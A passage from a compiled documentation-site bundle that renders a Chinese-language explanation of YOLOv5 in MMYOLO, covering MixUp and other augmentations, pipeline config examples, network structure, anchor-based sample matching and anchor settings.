MixUp"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543076-db60e4b2-0552-4cf4-ab45-259d1ccbd5a6.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MixUp \u548c Mosaic \u7c7b\u4f3c\u4e5f\u5c5e\u4e8e\u6df7\u5408\u56fe\u7247\u7c7b\u589e\u5f3a\u65b9\u6cd5\u3002\u968f\u673a\u9009\u51fa\u53e6\u5916\u4e00\u5f20\u56fe\u540e\u5c06\u4e24\u56fe\u518d\u968f\u673a\u6df7\u5408\u3002\u5177\u4f53\u5b9e\u73b0\u65b9\u6cd5\u6709\u591a\u79cd\uff0c\u5e38\u89c1\u7684\u505a\u6cd5\u662f\u8981\u4e48\u5c06 label \u76f4\u63a5\u62fc\u63a5\u8d77\u6765\uff0c\u8981\u4e48\u5c06 label \u4e5f\u91c7\u7528 alpha \u65b9\u6cd5\u6df7\u5408\u3002\u539f\u4f5c\u8005\u7684\u505a\u6cd5\u975e\u5e38\u7b80\u5355\uff0c\u5bf9 label \u5373\u76f4\u63a5\u62fc\u63a5\uff0c\u800c\u56fe\u7247\u901a\u8fc7\u5206\u5e03\u91c7\u6837\u6df7\u5408\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u7279\u522b\u6ce8\u610f\u7684\u662f\uff1a\n",(0,r.jsx)(e.strong,{children:"YOLOv5 \u5b9e\u73b0\u7684 MixUp \u4e2d\uff0c\u968f\u673a\u51fa\u6765\u7684\u53e6\u4e00\u5f20\u56fe\u4e5f\u9700\u8981\u7ecf\u8fc7 Mosaic \u9a6c\u8d5b\u514b + RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362 \u7684\u589e\u5f3a\u540e\u624d\u80fd\u6df7\u5408\u3002\u8fd9\u4e2a\u548c\u5176\u4ed6\u5f00\u6e90\u5e93\u5b9e\u73b0\u53ef\u80fd\u4e0d\u592a\u4e00\u6837"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"114-\u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",children:"1.1.4 \u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543533-8b9ece51-676b-4a7d-a7d0-597e2dd1d42e.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5269\u4e0b\u7684\u6570\u636e\u589e\u5f3a\u5305\u62ec"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u56fe\u50cf\u6a21\u7cca\u7b49\u91c7\u7528 Albu \u5e93\u5b9e\u73b0\u7684\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"MMDetection \u5f00\u6e90\u5e93\u4e2d\u5df2\u7ecf\u5bf9 Albu \u7b2c\u4e09\u65b9\u6570\u636e\u589e\u5f3a\u5e93\u8fdb\u884c\u4e86\u5c01\u88c5\uff0c\u4f7f\u7528\u6237\u53ef\u4ee5\u7b80\u5355\u7684\u901a\u8fc7\u914d\u7f6e\u5373\u53ef\u4f7f\u7528 Albu \u5e93\u4e2d\u63d0\u4f9b\u7684\u4efb\u4f55\u6570\u636e\u589e\u5f3a\u529f\u80fd\u3002\u800c HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a\u548c\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c\u90fd\u662f\u5c5e\u4e8e\u6bd4\u8f83\u5e38\u89c4\u7684\u6570\u636e\u589e\u5f3a\uff0c\u4e0d\u9700\u8981\u7279\u6b8a\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"115-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1.1.5 MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,r.jsx)(e.p,{children:"\u5e38\u89c4\u7684\u5355\u56fe\u6570\u636e\u589e\u5f3a\u4f8b\u5982\u968f\u673a\u7ffb\u8f6c\u7b49\u6bd4\u8f83\u5bb9\u6613\u5b9e\u73b0\uff0c\u800c Mosaic \u7c7b\u7684\u6df7\u5408\u6570\u636e\u589e\u5f3a\u5219\u4e0d\u592a\u5bb9\u6613\u3002\u5728 MMDetection \u590d\u73b0\u7684 YOLOX \u7b97\u6cd5\u4e2d\u63d0\u51fa\u4e86 MultiImageMixDataset \u6570\u636e\u96c6\u5305\u88c5\u5668\u7684\u6982\u5ff5\uff0c\u5176\u5b9e\u73b0\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190543666-d5a22ed7-46a0-4696-990a-12ebde7f8907.png"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5bf9\u4e8e Mosaic \u7b49\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7b56\u7565\uff0c\u4f1a\u9700\u8981\u989d\u5916\u5b9e\u73b0\u4e00\u4e2a ",(0,r.jsx)(e.code,{children:"get_indexes"})," \u65b9\u6cd5\u6765\u83b7\u53d6\u5176\u4ed6\u56fe\u7247\u7d22\u5f15\uff0c\u7136\u540e\u7528\u5f97\u5230\u7684 4 \u5f20\u56fe\u7247\u4fe1\u606f\u5c31\u53ef\u4ee5\u8fdb\u884c Mosaic \u589e\u5f3a\u4e86\u3002\n\u4ee5 MMDetection \u4e2d\u5b9e\u73b0\u7684 YOLOX \u4e3a\u4f8b\uff0c\u5176\u914d\u7f6e\u6587\u4ef6\u5199\u6cd5\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"train_pipeline = [\n dict(type='Mosaic', img_scale=img_scale, pad_val=114.0),\n dict(\n type='RandomAffine',\n scaling_ratio_range=(0.1, 2),\n border=(-img_scale[0] // 2, -img_scale[1] // 2)),\n dict(\n type='MixUp',\n img_scale=img_scale,\n ratio_range=(0.8, 1.6),\n pad_val=114.0),\n ...\n]\n\ntrain_dataset = dict(\n # use MultiImageMixDataset wrapper to support mosaic and mixup\n type='MultiImageMixDataset',\n dataset=dict(\n type='CocoDataset',\n pipeline=[\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n ]),\n pipeline=train_pipeline)\n"})}),"\n",(0,r.jsx)(e.p,{children:"MultiImageMixDataset \u6570\u636e\u96c6\u5305\u88c5\u5668\u4f20\u5165\u4e00\u4e2a\u5305\u62ec Mosaic \u548c RandAffine \u7b49\u6570\u636e\u589e\u5f3a\uff0c\u800c CocoDataset \u4e2d\u4e5f\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u5305\u62ec\u56fe\u7247\u548c\u6807\u6ce8\u52a0\u8f7d\u7684 pipeline\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\u5c31\u53ef\u4ee5\u5feb\u901f\u7684\u5b9e\u73b0\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f46\u662f\u4e0a\u8ff0\u5b9e\u73b0\u6709\u4e00\u4e2a\u7f3a\u70b9\uff1a\n",(0,r.jsx)(e.strong,{children:"\u5bf9\u4e8e\u4e0d\u719f\u6089 MMDetection \u7684\u7528\u6237\u6765\u8bf4\uff0c\u5176\u7ecf\u5e38\u4f1a\u5fd8\u8bb0 Mosaic \u5fc5\u987b\u8981\u548c MultiImageMixDataset \u914d\u5408\u4f7f\u7528\uff0c\u5426\u5219\u4f1a\u62a5\u9519\uff0c\u800c\u4e14\u8fd9\u6837\u4f1a\u52a0\u5927\u590d\u6742\u5ea6\u548c\u7406\u89e3\u96be\u5ea6"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u5728 MMYOLO \u4e2d\u6211\u4eec\u8fdb\u4e00\u6b65\u8fdb\u884c\u4e86\u7b80\u5316\u3002\u76f4\u63a5\u8ba9 pipeline \u80fd\u591f\u83b7\u53d6\u5230 dataset \u5bf9\u8c61\uff0c\u6b64\u65f6\u5c31\u53ef\u4ee5\u5c06 Mosaic \u7b49\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\u7684\u5b9e\u73b0\u548c\u4f7f\u7528\u53d8\u6210\u548c\u968f\u673a\u7ffb\u8f6c\u4e00\u6837\u3002\n\u6b64\u65f6\u5728 MMYOLO \u4e2d YOLOX \u7684\u914d\u7f6e\u5199\u6cd5\u53d8\u6210\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"pre_transform = [\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n]\n\ntrain_pipeline = [\n *pre_transform,\n dict(\n type='Mosaic',\n img_scale=img_scale,\n pad_val=114.0,\n pre_transform=pre_transform),\n dict(\n type='mmdet.RandomAffine',\n scaling_ratio_range=(0.1, 2),\n border=(-img_scale[0] // 2, -img_scale[1] // 2)),\n dict(\n type='YOLOXMixUp',\n img_scale=img_scale,\n ratio_range=(0.8, 1.6),\n pad_val=114.0,\n pre_transform=pre_transform),\n ...\n]\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6837\u5c31\u4e0d\u518d\u9700\u8981 MultiImageMixDataset \u4e86\uff0c\u4f7f\u7528\u548c\u7406\u89e3\u4e0a\u4f1a\u66f4\u52a0\u7b80\u5355\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u56de\u5230 YOLOv5 \u914d\u7f6e\u4e0a\uff0c\u56e0\u4e3a YOLOv5 \u5b9e\u73b0\u7684 MixUp \u4e2d\uff0c\u968f\u673a\u9009\u51fa\u6765\u7684\u53e6\u4e00\u5f20\u56fe\u4e5f\u9700\u8981\u7ecf\u8fc7 Mosaic \u9a6c\u8d5b\u514b+RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362 \u589e\u5f3a\u540e\u624d\u80fd\u6df7\u5408\uff0c\u6545YOLOv5-m \u6570\u636e\u589e\u5f3a\u914d\u7f6e\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"pre_transform = [\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations', with_bbox=True)\n]\n\nmosaic_transform= [\n dict(\n type='Mosaic',\n img_scale=img_scale,\n pad_val=114.0,\n pre_transform=pre_transform),\n dict(\n type='YOLOv5RandomAffine',\n max_rotate_degree=0.0,\n max_shear_degree=0.0,\n scaling_ratio_range=(0.1, 1.9), # scale = 0.9\n border=(-img_scale[0] // 2, -img_scale[1] // 2),\n border_val=(114, 114, 114))\n]\n\ntrain_pipeline = [\n *pre_transform,\n *mosaic_transform,\n dict(\n type='YOLOv5MixUp',\n prob=0.1,\n pre_transform=[\n *pre_transform,\n *mosaic_transform\n ]),\n ...\n]\n"})}),"\n",(0,r.jsx)(e.h3,{id:"12-\u7f51\u7edc\u7ed3\u6784",children:"1.2 \u7f51\u7edc\u7ed3\u6784"}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u5c0f\u7ed3\u7531 RangeKing@github \u64b0\u5199\uff0c\u975e\u5e38\u611f\u8c22\uff01\uff01\uff01"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u7f51\u7edc\u7ed3\u6784\u662f\u6807\u51c6\u7684 ",(0,r.jsx)(e.code,{children:"CSPDarknet"})," + ",(0,r.jsx)(e.code,{children:"PAFPN"})," + ",(0,r.jsx)(e.code,{children:"\u975e\u89e3\u8026 Head"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u7f51\u7edc\u7ed3\u6784\u5927\u5c0f\u7531 ",(0,r.jsx)(e.code,{children:"deepen_factor"})," \u548c ",(0,r.jsx)(e.code,{children:"widen_factor"})," \u4e24\u4e2a\u53c2\u6570\u51b3\u5b9a\u3002\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"deepen_factor"})," \u63a7\u5236\u7f51\u7edc\u7ed3\u6784\u6df1\u5ea6\uff0c\u5373 ",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u4e2d ",(0,r.jsx)(e.code,{children:"DarknetBottleneck"})," \u6a21\u5757\u5806\u53e0\u7684\u6570\u91cf\uff1b",(0,r.jsx)(e.code,{children:"widen_factor"})," \u63a7\u5236\u7f51\u7edc\u7ed3\u6784\u5bbd\u5ea6\uff0c\u5373\u6a21\u5757\u8f93\u51fa\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\u3002\u4ee5 YOLOv5-l \u4e3a\u4f8b\uff0c\u5176 ",(0,r.jsx)(e.code,{children:"deepen_factor = widen_factor = 1.0"})," \uff0c\u6574\u4f53\u7ed3\u6784\u56fe\u5982\u4e0a\u6240\u793a\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u56fe\u7684\u4e0a\u534a\u90e8\u5206\u4e3a\u6a21\u578b\u603b\u89c8\uff1b\u4e0b\u534a\u90e8\u5206\u4e3a\u5177\u4f53\u7f51\u7edc\u7ed3\u6784\uff0c\u5176\u4e2d\u7684\u6a21\u5757\u5747\u6807\u6709\u5e8f\u53f7\uff0c\u65b9\u4fbf\u7528\u6237\u4e0e YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u7684\u914d\u7f6e\u6587\u4ef6\u5bf9\u5e94\uff1b\u4e2d\u95f4\u90e8\u5206\u4e3a\u5404\u5b50\u6a21\u5757\u7684\u5177\u4f53\u6784\u6210\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c\u60f3\u4f7f\u7528 netron \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u56fe\u7ec6\u8282\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728 netron \u4e2d\u5c06 MMDeploy \u5bfc\u51fa\u7684 ONNX \u6587\u4ef6\u683c\u5f0f\u6587\u4ef6\u6253\u5f00\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"121-backbone",children:"1.2.1 Backbone"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728 MMYOLO \u4e2d ",(0,r.jsx)(e.code,{children:"CSPDarknet"})," \u7ee7\u627f\u81ea ",(0,r.jsx)(e.code,{children:"BaseBackbone"}),"\uff0c\u6574\u4f53\u7ed3\u6784\u548c ",(0,r.jsx)(e.code,{children:"ResNet"})," \u7c7b\u4f3c\uff0c\u5171 5 \u5c42\u7ed3\u6784\uff0c\u5305\u542b 1 \u4e2a ",(0,r.jsx)(e.code,{children:"Stem Layer"})," \u548c 4 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"}),"\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.code,{children:"Stem Layer"})," \u662f 1 \u4e2a 6x6 kernel \u7684 ",(0,r.jsx)(e.code,{children:"ConvModule"}),"\uff0c\u76f8\u8f83\u4e8e v6.1 \u7248\u672c\u4e4b\u524d\u7684 ",(0,r.jsx)(e.code,{children:"Focus"})," \u6a21\u5757\u66f4\u52a0\u9ad8\u6548\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u524d 3 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"})," \u5747\u7531 1 \u4e2a ",(0,r.jsx)(e.code,{children:"ConvModule"})," \u548c 1 \u4e2a ",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u7ec4\u6210\u3002\u5982\u4e0a\u56fe Details \u90e8\u5206\u6240\u793a\u3002\n\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"ConvModule"})," \u4e3a 3x3\u7684 ",(0,r.jsx)(e.code,{children:"Conv2d"})," + ",(0,r.jsx)(e.code,{children:"BatchNorm"})," + ",(0,r.jsx)(e.code,{children:"SiLU \u6fc0\u6d3b\u51fd\u6570"}),"\u3002",(0,r.jsx)(e.code,{children:"CSPLayer"})," \u5373 YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u4e2d\u7684 C3 \u6a21\u5757\uff0c\u7531 3 \u4e2a ",(0,r.jsx)(e.code,{children:"ConvModule"})," + n \u4e2a ",(0,r.jsx)(e.code,{children:"DarknetBottleneck"}),"(\u5e26\u6b8b\u5dee\u8fde\u63a5) \u7ec4\u6210\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u7b2c 4 \u4e2a ",(0,r.jsx)(e.code,{children:"Stage Layer"})," \u5728\u6700\u540e\u589e\u52a0\u4e86 ",(0,r.jsx)(e.code,{children:"SPPF"})," \u6a21\u5757\u3002",(0,r.jsx)(e.code,{children:"SPPF"})," \u6a21\u5757\u662f\u5c06\u8f93\u5165\u4e32\u884c\u901a\u8fc7\u591a\u4e2a 5x5 \u5927\u5c0f\u7684 ",(0,r.jsx)(e.code,{children:"MaxPool2d"})," \u5c42\uff0c\u4e0e ",(0,r.jsx)(e.code,{children:"SPP"})," \u6a21\u5757\u6548\u679c\u76f8\u540c\uff0c\u4f46\u901f\u5ea6\u66f4\u5feb\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["P5 \u6a21\u578b\u7ed3\u6784\u4f1a\u5728 ",(0,r.jsx)(e.code,{children:"Stage Layer"})," 2-4 \u4e4b\u540e\u5206\u522b\u8f93\u51fa\u4e00\u4e2a\u7279\u5f81\u56fe\u8fdb\u5165 ",(0,r.jsx)(e.code,{children:"Neck"})," \u7ed3\u6784\u3002\u4ee5 640x640 \u8f93\u5165\u56fe\u7247\u4e3a\u4f8b\uff0c\u5176\u8f93\u51fa\u7279\u5f81\u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\uff0c\u5bf9\u5e94\u7684 stride \u5206\u522b\u4e3a 8/16/32\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h4,{id:"122-neck",children:"1.2.2 Neck"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9\u4ed3\u5e93\u7684\u914d\u7f6e\u6587\u4ef6\u4e2d\u5e76\u6ca1\u6709 Neck \u90e8\u5206\uff0c\u4e3a\u65b9\u4fbf\u7528\u6237\u4e0e\u5176\u4ed6\u76ee\u6807\u68c0\u6d4b\u7f51\u7edc\u7ed3\u6784\u76f8\u5bf9\u5e94\uff0c\u6211\u4eec\u5c06\u5b98\u65b9\u4ed3\u5e93\u7684 ",(0,r.jsx)(e.code,{children:"Head"})," \u62c6\u5206\u6210 ",(0,r.jsx)(e.code,{children:"PAFPN"})," \u548c ",(0,r.jsx)(e.code,{children:"Head"})," \u4e24\u90e8\u5206\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u57fa\u4e8e ",(0,r.jsx)(e.code,{children:"BaseYOLONeck"})," \u7ed3\u6784\uff0cYOLOv5 ",(0,r.jsx)(e.code,{children:"Neck"})," \u4e5f\u662f\u9075\u5faa\u540c\u4e00\u5957\u6784\u5efa\u6d41\u7a0b\uff0c\u5bf9\u4e8e\u4e0d\u5b58\u5728\u7684\u6a21\u5757\uff0c\u6211\u4eec\u91c7\u7528 ",(0,r.jsx)(e.code,{children:"nn.Identity"})," \u4ee3\u66ff\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"Neck \u6a21\u5757\u8f93\u51fa\u7684\u7279\u5f81\u56fe\u548c Backbone \u5b8c\u5168\u4e00\u81f4\u5373\u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"123-head",children:"1.2.3 Head"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 Head \u7ed3\u6784\u548c YOLOv3 \u5b8c\u5168\u4e00\u6837\uff0c\u4e3a ",(0,r.jsx)(e.code,{children:"\u975e\u89e3\u8026 Head"}),"\u3002Head \u6a21\u5757\u53ea\u5305\u62ec 3 \u4e2a\u4e0d\u5171\u4eab\u6743\u91cd\u7684\u5377\u79ef\uff0c\u7528\u4e8e\u5c06\u8f93\u5165\u7279\u5f81\u56fe\u8fdb\u884c\u53d8\u6362\u800c\u5df2\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u524d\u9762\u7684 PAFPN \u4f9d\u7136\u662f\u8f93\u51fa 3 \u4e2a\u4e0d\u540c\u5c3a\u5ea6\u7684\u7279\u5f81\u56fe\uff0cshape \u4e3a (B,256,80,80)\u3001 (B,512,40,40) \u548c (B,1024,20,20)\u3002\n\u7531\u4e8e YOLOv5 \u662f\u975e\u89e3\u8026\u8f93\u51fa\uff0c\u5373\u5206\u7c7b\u548c bbox \u68c0\u6d4b\u7b49\u90fd\u662f\u5728\u540c\u4e00\u4e2a\u5377\u79ef\u7684\u4e0d\u540c\u901a\u9053\u4e2d\u5b8c\u6210\u3002\u4ee5 COCO 80 \u7c7b\u4e3a\u4f8b\uff0c\u5728\u8f93\u5165\u4e3a 640x640 \u5206\u8fa8\u7387\u60c5\u51b5\u4e0b\uff0c\u5176 Head \u6a21\u5757\u8f93\u51fa\u7684 shape \u5206\u522b\u4e3a (B, 3x(4+1+80),80,80), (B, 3x(4+1+80),40,40) \u548c (B, 3x(4+1+80),20,20)\u3002\u5176\u4e2d 3 \u8868\u793a 3 \u4e2a anchor\uff0c4 \u8868\u793a bbox \u9884\u6d4b\u5206\u652f\uff0c1 \u8868\u793a obj \u9884\u6d4b\u5206\u652f\uff0c80 \u8868\u793a COCO \u6570\u636e\u96c6\u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",children:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565"}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565\u7684\u6838\u5fc3\u662f\u786e\u5b9a\u9884\u6d4b\u7279\u5f81\u56fe\u7684\u6240\u6709\u4f4d\u7f6e\u4e2d\u54ea\u4e9b\u4f4d\u7f6e\u5e94\u8be5\u662f\u6b63\u6837\u672c\uff0c\u54ea\u4e9b\u662f\u8d1f\u6837\u672c\uff0c\u751a\u81f3\u6709\u4e9b\u662f\u5ffd\u7565\u6837\u672c\u3002\n\u5339\u914d\u7b56\u7565\u662f\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u7684\u6838\u5fc3\uff0c\u4e00\u4e2a\u597d\u7684\u5339\u914d\u7b56\u7565\u53ef\u4ee5\u663e\u8457\u63d0\u5347\u7b97\u6cd5\u6027\u80fd\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOV5 \u7684\u5339\u914d\u7b56\u7565\u7b80\u5355\u603b\u7ed3\u4e3a\uff1a",(0,r.jsx)(e.strong,{children:"\u91c7\u7528\u4e86 anchor \u548c gt_bbox \u7684 shape \u5339\u914d\u5ea6\u4f5c\u4e3a\u5212\u5206\u89c4\u5219\uff0c\u540c\u65f6\u5f15\u5165\u8de8\u90bb\u57df\u7f51\u683c\u7b56\u7565\u6765\u589e\u52a0\u6b63\u6837\u672c"}),"\u3002\n\u5176\u4e3b\u8981\u5305\u62ec\u5982\u4e0b\u4e24\u4e2a\u6838\u5fc3\u6b65\u9aa4\uff1a"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5bf9\u4e8e\u4efb\u4f55\u4e00\u4e2a\u8f93\u51fa\u5c42\uff0c\u629b\u5f03\u4e86\u5e38\u7528\u7684\u57fa\u4e8e Max IoU \u5339\u914d\u7684\u89c4\u5219\uff0c\u800c\u662f\u76f4\u63a5\u91c7\u7528 shape \u89c4\u5219\u5339\u914d\uff0c\u4e5f\u5c31\u662f\u8be5 GT Bbox \u548c\u5f53\u524d\u5c42\u7684 Anchor \u8ba1\u7b97\u5bbd\u9ad8\u6bd4\uff0c\u5982\u679c\u5bbd\u9ad8\u6bd4\u4f8b\u5927\u4e8e\u8bbe\u5b9a\u9608\u503c\uff0c\u5219\u8bf4\u660e\u8be5 GT Bbox \u548c Anchor \u5339\u914d\u5ea6\u4e0d\u591f\uff0c\u5c06\u8be5 GT Bbox \u6682\u65f6\u4e22\u6389\uff0c\u5728\u8be5\u5c42\u9884\u6d4b\u4e2d\u8be5 GT Bbox \u5bf9\u5e94\u7684\u7f51\u683c\u5185\u7684\u9884\u6d4b\u4f4d\u7f6e\u8ba4\u4e3a\u662f\u8d1f\u6837\u672c"}),"\n",(0,r.jsx)(e.li,{children:"\u5bf9\u4e8e\u5269\u4e0b\u7684 GT Bbox(\u4e5f\u5c31\u662f\u5339\u914d\u4e0a\u7684 GT Bbox)\uff0c\u8ba1\u7b97\u5176\u843d\u5728\u54ea\u4e2a\u7f51\u683c\u5185\uff0c\u540c\u65f6\u5229\u7528\u56db\u820d\u4e94\u5165\u89c4\u5219\uff0c\u627e\u51fa\u6700\u8fd1\u7684\u4e24\u4e2a\u7f51\u683c\uff0c\u5c06\u8fd9\u4e09\u4e2a\u7f51\u683c\u90fd\u8ba4\u4e3a\u662f\u8d1f\u8d23\u9884\u6d4b\u8be5 GT Bbox \u7684\uff0c\u53ef\u4ee5\u7c97\u7565\u4f30\u8ba1\u6b63\u6837\u672c\u6570\u76f8\u6bd4\u4e4b\u524d\u7684 YOLO \u7cfb\u5217\uff0c\u81f3\u5c11\u589e\u52a0\u4e86\u4e09\u500d"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0b\u9762\u4f1a\u5bf9\u6bcf\u4e2a\u90e8\u5206\u8fdb\u884c\u8be6\u7ec6\u8bf4\u660e\uff0c\u90e8\u5206\u63cf\u8ff0\u548c\u56fe\u793a\u76f4\u63a5\u6216\u95f4\u63a5\u53c2\u8003\u81ea\u5b98\u65b9 ",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/YOLOv5/issues/6998#44",children:"Repo"}),"\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"131-anchor-\u8bbe\u7f6e",children:"1.3.1 Anchor \u8bbe\u7f6e"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u662f Anchor-based \u7684\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\uff0c\u5176 Anchor size \u7684\u83b7\u53d6\u65b9\u5f0f\u4e0e YOLOv3 \u7c7b\u4f3c\uff0c\u4e5f\u662f\u4f7f\u7528\u805a\u7c7b\u83b7\u5f97\uff0c\u5176\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e\u805a\u7c7b\u4f7f\u7528\u7684\u6807\u51c6\u4e0d\u518d\u662f\u57fa\u4e8e IoU \u7684\uff0c\u800c\u662f\u4f7f\u7528\u5f62\u72b6\u4e0a\u7684\u5bbd\u9ad8\u6bd4\u4f5c\u4e3a\u805a\u7c7b\u51c6\u5219(\u5373 shape-match )\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u7528\u6237\u66f4\u6362\u4e86\u6570\u636e\u96c6\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528 MMYOLO \u91cc\u5e26\u6709\u7684 Anchor \u5206\u6790\u5de5\u5177\uff0c\u5bf9\u81ea\u5df1\u7684\u6570\u636e\u96c6\u8fdb\u884c\u5206\u6790\uff0c\u786e\u5b9a\u5408\u9002\u7684 Anchor size\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"python tools/analysis_tools/optimize_anchors.py ${CONFIG} --algorithm v5-k-means\n --input-shape ${INPUT_SHAPE [WIDTH HEIGHT]} --output-dir ${OUTPUT_DIR}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u5728 ",(0,r.jsx)(e.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/yolov5_s-v61_syncbn_fast_8xb16-300e_coco.py",children:"config \u6587\u4ef6"})," \u91cc\u4fee\u6539\u9ed8\u8ba4 Anchor size:"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"anchors = [[(10, 13), (16, 30), (33, 23)], [(30, 61), (62, 45), (59, 119)],\n [(116, 90), (156, 198), (373, 326)]]\n"})}),"\n",(0,r.jsx)(e.h4,{id:"132-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",children:"1.3.2 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b"}),"\n",(0,r.jsx)(e.p,{children:"\u5728 Anchor-based \u7b97\u6cd5\u4e2d\uff0c\u9884\u6d4b\u6846\u901a\u5e38\u4f1a\u57fa\u4e8e Anchor \u8fdb\u884c\u53d8\u6362\uff0c\u7136\u540e\u9884\u6d4b\u53d8\u6362\u91cf\uff0c\u8fd9\u5bf9\u5e94 GT Bbox \u7f16\u7801\u8fc7\u7a0b\uff0c\u800c\u5728\u9884\u6d4b\u540e\u9700\u8981\u8fdb\u884c Pred Bbox \u89e3\u7801\uff0c\u8fd8\u539f\u4e3a\u771f\u5b9e\u5c3a\u5ea6\u7684 